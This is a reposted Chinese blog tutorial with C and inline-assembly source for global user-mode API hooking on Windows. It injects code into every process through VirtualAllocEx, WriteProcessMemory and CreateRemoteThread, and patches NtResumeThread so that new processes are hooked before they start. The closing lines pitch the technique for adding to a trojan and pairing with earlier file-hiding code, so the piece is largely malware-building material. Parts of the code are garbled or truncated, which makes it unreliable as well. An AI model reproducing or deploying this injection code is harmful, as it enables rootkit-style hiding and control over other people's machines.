API拦截--实现ring3全局hook

API拦截——实现Ring3全局HOOK
首先来解释一下这次的目标。由于windows的copy-on-write机制(Ring0下可以用CR0寄存器关掉它),Ring3下的HOOK只对当前进程有效,其他进程的API还是正常的。这就是说我们必须枚举进程,然后对每个Ring3进程执行一遍HOOK操作。
但是,系统中总有新进程产生,对于这些新进程我们怎么处理呢?最容易想到的就是设置一个TIMER,每隔一段时间就枚举一遍进程然后把新的挂钩。但仔细一想就知道不行,TEMER过快严重影响系统效率,慢了又起不到作用,况且windows不是一个实时操作系统,没人能保证到时间TEMER就被激活。如果我们能监控进程创建,并在他们真正运行之前就执行挂钩操作,就可以完美的解决问题。
但是如何做到这一点呢?我们知道Ring3的进程都有一个“父进程”也就是说新进程都是由老进程创建的(驱动很少创建进程)。知道这一点就好办了,我们要做的只是截获进程创建。你肯定会说“这么简单,HOOK NtCreateProcess就可以了!”但是这不是最简单的做法。为什么这么说呢,首先在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,而当NtCreateProcess返回时,进程又已经开始运行,HOOK时存在线程同步的问题(我用OD在NtCreateProcess设下INT3断点,却拦不到,不只是为什么?)。
所以我选的函数是NtResumeThread。我们知道,当新进程被创建时,OS会为其创建一个住线程,而在这之后会调用NtResumeThread时期开始运行,这时初始化完毕,DLL都已经被载入,但进程却没有开始运行这时我们最好的机会(HAHA,天助我也HAHAHA…)。
NTSTATUS NtResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);
思路是这样但是怎么实现呢?来看一下函数的定义:
我们关心的是第一个参数,它存储的是新进程主线程的句柄,我们可以通过调用ThreadInformationClass=0,ThreadInformationLength=28的NtQueryInformationThread函数来获得该县城所属进程的PID,然后只要HOOK它就可以了。
话虽如此,可是如果把HOOK的代码都放到远程去未免太麻烦了。开始我想的是用远程进程调用CreateRemoteThread来回调HOOK进程。但仔细想想就会发现,我们在本地HOOK时有足够的权限,可是如果远程进程是GUEST权限的呢?回调时由于权限不够就会出错。翻了翻《windows核心编程》后恍然大悟:可以使用windows的事件对象来实现。用到的API有:OpenEvent,CreateEvent,SetEvent,ResetEvent。在HOOK每一个进程的时候,用CreateEvent创建一个不可继承、自动重置的Event对象,然后创建一个线程用WaitForSingleObject函数等待改Event。当拦截到新进程创建时,远程线程调用SetEvent来激活Event,然后同样调用WaitForSingleObject函数等待。这时本地的WaitForSingleObject会返回, 然后再进行相关的处理,然后调用SetEvent来让远程hook函数继续运行。这样有个问题就是本题怎样知道新进程PID?我的解决办法是远程调用SetEvent前先把PID写在HOOK函数开头的特定偏移位置,然后本地用ReadProcessMemory来读取。限于篇幅讲得不太具体,如果不懂最好去看一看《windows核心编程》。
好了,理论就讲道这里,来看看代码,GO!(虽然是在去年的5期文章的基础上改的,不过改动较大,所以关键代码已提上来了。)
首先是hook函数,主要功能是对指定进程的指定API进行hook操作
int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE ObjectProcessHandle)
{
DWORD dw, NamedApiAddress,NewFunc;//变量初始化
MEMORY_BASIC_INFORMATION mbi;
static EventInfo myEventInfo;
static Num=0x676e696b;
NamedApiAddress = (DWORD)GetProcAddress(pDllInfo->hModule, ApiName);//目标api地址,每个进程的api地址都是一样的,只要找本进程的就可以了。
if(NamedApiAddress == NULL)
{
printf(“Error:GetProcAddress in hook_api”);//错误处理
return 0;
}
if(!VirtualQueryEx(ObjectProcessHandle,(void*)NamedApiAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))//获取目标api所在内存信息
{
printf(“Error:VirtualQueryEx in hook_api”);
return 0;
}
if(!VirtualProtectEx(ObjectProcessHandle,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&dw))//分配写和执行权限,因为我们要对目标API开头进行写操作
{
printf(“Error:VirtualProtectEx in hook_api”);
return 0;
}
LPVOID WriteAddress=VirtualAllocEx(ObjectProcessHandle,0,1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配内存,写入hook函数
//计算备份函数COPY的位置
NewFunc = NamedApiAddress – (DWORD)pDllInfo->modinfo.lpBaseOfDll + (DWORD)pDllInfo->lpNewBaseOfDll;
//修改原函数入口处内容
if(strcmp(ApiName,”NtResumeThread”)==0)//如果是hook NtResumeThread函数要做一些处理
{
DWORD my_CreateEventA=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”CreateEventA”);
HANDLE EventFar;
__asm//这里不用汇编vc总说类型不对,偷个懒^_^
{
pushad
push 00000000h
push Num
push 0x676e696b
push esp//构造Event名
push 0
push 0
push 0
call my_CreateEventA
mov EventFar,eax
add esp,12
popad
}
*(PDWORD)((DWORD)FarStartUp+9)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”OpenEventA”);//远程函数的API地址都是动态写入的。这里说一句,以前是写入远程后用WriteProcessMemory来改,后来想到这样太慢(转到Ring0要1000个CPU时间的哦)于是改在本地完成,但我们对代码段进行了写操作,默认是不允许的,所以要用PE修改工具来给.text段加上可写属性
LPVOID StartUpAddr=VirtualAllocEx(ObjectProcessHandle,0,500,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配内存,写入StartUp函数,因为我们用Event来解决,所以要在远程打开该Event对象
WriteProcessMemory(ObjectProcessHandle,StartUpAddr,(LPVOID)FarStartUp,500,0);//写入函数
printf(“%x\n”,(DWORD)StartUpAddr);//调试信息
HANDLEFarThread=CreateRemoteThread(ObjectProcessHandle,0,0, (PTHREAD_START_ROUTINE)StartUpAddr,(PVOID)Num,0,0);//创建远程线程
WaitForSingleObject(FarThread,-1);//等待远程初始化完毕
CloseHandle(FarThread);
DWORD ReadBuf;
ReadProcessMemory(ObjectProcessHandle,(LPVOID)((DWORD)StartUpAddr+21),&ReadBuf,4,0);//读出远程的Event句柄数值,后面写入HOOK函数
VirtualFreeEx(ObjectProcessHandle,StartUpAddr,500,MEM_RELEASE);//释放内存
*(PDWORD)(HookProc+WRITEBASE+7)=ReadBuf;//写入句柄
myEventInfo.EventFar=EventFar;
myEventInfo.ObjectProcessHandle=ObjectProcessHandle;
myEventInfo.WriteAddress=(DWORD)WriteAddress;//线程参数
CreateThread(0,0,(unsigned long (__stdcall *)(void *))my_EventProcess_Thread,&myEventInfo,0,0);//创建本地等待线程
Num++;//每个进程用不同的Event,所以名称不一样
}
*(PDWORD)(HookProc+WRITEBASE)=NewFunc;
*(PDWORD)(HookProc+WRITEBASE+14)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”GetCurrentProcessId”);
*(PDWORD)(HookProc+WRITEBASE+21)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”SetEvent”);
*(PDWORD)(HookProc+WRITEBASE+28)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”WaitForSingleObject”);
*(PDWORD)(HookProc+WRITEBASE+35)=(DWORD)GetProcAddress(GetModuleHandle(“ntdll.dll”),”NtQueryInformationThread”);
*(PDWORD)(HookProc+WRITEBASE+42)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”ResetEvent”);//初始化HOOK函数,写入API地址
WriteProcessMemory(ObjectProcessHandle,WriteAddress,(void *)HookProc,1000,0);//写入HOOK函数
*(PDWORD)(&HookCode[0]+1)=(DWORD)WriteAddress;
WriteProcessMemory(ObjectProcessHandle,(LPVOID)NamedApiAddress,&HookCode,7,0);//修改目标API首字节,使其跳转到我们的HOOK函数
printf(“func:%x\n”,WriteAddress);//调试信息
return 1;
}
接下来是远程的初始化函数,用来打开Event
void FarStartUp(int Num){//Event名称的后半段,我创建的Event名称都是形如”kingXXXX”
int myOpenEvent=0×10020000;//API函数地址,动态写入,这条代码编译后是类似于这样的汇编码:mov [ebp+XX],XXXX,修改时只要把XXXX换成API地址就可以了
__asm call GetMyAddr;//这个是用来取得本函数的地址用的,不知道的话可以上网查查
DWORD myEventHandle=0×00220000;//本地从这里读出句柄代码,HOOK函数中的代码类似
DWORD FuncAddr;
__asm
{
jmp run//正式运行时跳过
GetMyAddr:
pop eax
mov FuncAddr,eax
push eax
ret
run:
push 00000000
push Num
push 0x676e696b
push esp
push 0
push EVENT_ALL_ACCESS
call myOpenEvent//构造字符串,并打开句柄
mov myEventHandle,eax
}
*(PDWORD)(FuncAddr+3)=myEventHandle;//往开头写入
return;
}
这时上面说到过的等待线程,每HOOK一个进程就有一个对应的这个线程,这里本来应该加一个垃圾回收机制,即当本线程对应的进程已经不存在了的时候,线程自我销毁。不过还没来得及写^_^
void __stdcall my_EventProcess_Thread(PVOID InEventInfo)
{
EventInfo myEventInfo;
PEventInfo Info=(PEventInfo)InEventInfo;
myEventInfo.EventFar=Info->EventFar;//保存句柄和进程信息
myEventInfo.ObjectProcessHandle=Info->ObjectProcessHandle;
myEventInfo.WriteAddress=Info->WriteAddress;//这个是HOOK函数句柄
while(true)//循环等待
{
WaitForSingleObject(myEventInfo.EventFar,-1);
DWORD ReadBuf=0;//当对应进程创建后WaitForSingleObject返回,执行到这里
ReadProcessMemory(myEventInfo.ObjectProcessHandle,(LPVOID)(myEventInfo.WriteAddress+67),&ReadBuf,4,0);//从远程读出新进程的PID,在HOOK函数调用SetEvent之前会在远程写入。
HANDLE ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,ReadBuf);//打开目标进程
HookProcess(ObjectProcessHandle);//执行HOOK操作,本来应改检查一下该进程是否已经被HOOK,还没来得及写
SetEvent(myEventInfo.EventFar);//恢复远程Hook函数运行
ResetEvent(myEventInfo.EventFar);//本来是自动重置的Event,不过为了保险在重置一下
}
return;
}
下面是精华了哦,重点仔细看啊。
DWORD __stdcall Hook_NtResumeThread(
HANDLE ThreadHandle,
PULONG PreviousSuspendCount OPTIONAL)
{
int OldNtResumeThread;//原NtQueryDirectoryFile函数
int EventHandle; //Event句柄,由FarStartUp函数打开
int my_GetCurrentProcessId;
int my_SetEnent;
int my_WaitForSingleObject;
int my_NtQueryInformationThread;//存放个API的指的变量
int my_ResetEvent;
__asm
{
mov OldNtResumeThread,00112244h
mov EventHandle,00225588h
mov my_GetCurrentProcessId,22447799h
mov my_SetEnent,55662244h
mov my_WaitForSingleObject,55889966h
mov my_NtQueryInformationThread,77554411h
mov my_ResetEvent,55661188h//hook时写入
pushad//保护堆栈
}
__asm call GetAddr;//同FarStartUp函数
int FarRead;
__asm mov FarRead,22550011h;
DWORD myAddr;
__asm
{
jmp start
GetAddr:
pop eax
mov myAddr,eax
push eax
ret
start:
}
DWORD myStatus;//存储返回变量
BYTE SystemInfo[60];//存放NtQueryInformationThread返回信息的缓冲
int infoaddr=(DWORD)&SystemInfo;//缓冲地址
int CurrentProcess;
__asm
{
push 0
push 28//这里必须是28,则函数不执行,这个值是我从10到100琼琚出来的,辛苦啊555。。。
push infoaddr
push 0
push ThreadHandle
call my_NtQueryInformationThread//调用NtQueryInformationThread获得线程所属进程的PID
mov myStatus,eax
}
DWORD *)(SystemInfo+8);
__asm
{
call my_GetCurrentProcessId//获得本进程PID
mov CurrentProcess,eax
}
if(id==(DWORD)CurrentProcess)//如果是对当前进程操作就直接返回,免得传回本地浪费时间降低效率
{
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread
mov myStatus,eax
popad//对应开头的pushad,用来保护堆栈,下同
}
return myStatus;
}
if(myStatus==0)//如果NtQueryInformationThread执行不成功就直接返回,漏hook总比程序死掉好,嘿嘿
{
*(PDWORD)(myAddr+3)=id;//把目标PID写道函数开头
__asm
{
push EventHandle
call my_SetEnent//恢复本地对应线程运行
push -1
push EventHandle
call my_WaitForSingleObject//等待本地HOOK操作完成
push EventHandle
call my_ResetEvent
}
}
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread//调用原NtResumeThread函数,到这里,新进程正式开始运行
mov myStatus,eax
popad//保护堆栈
}
return myStatus;//这个是用来摆平vc++编译器的,没实际意义^_^
}
小结:
最后来总结一下思路把,程序分为本地(HOOK程序)和远程(被HOOK程序)。
最近Ring0的木马大行其道,不过Ring0的东西写起来太费时搞不好就BSOD,光是弄DDK就花了我一个礼拜,555…所以我们的Ring3HOOK还是很有市场的,快加到你的爱马里吧,只要在开头加一个枚举进程,所有的Ring3进程就统统地被挂上了,再配合以前的隐藏文件……嘿嘿

 

转自 http://www.360doc.com/content/12/0410/08/747387_202375254.shtml

  • 1
    点赞
  • 3
    收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页
评论
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值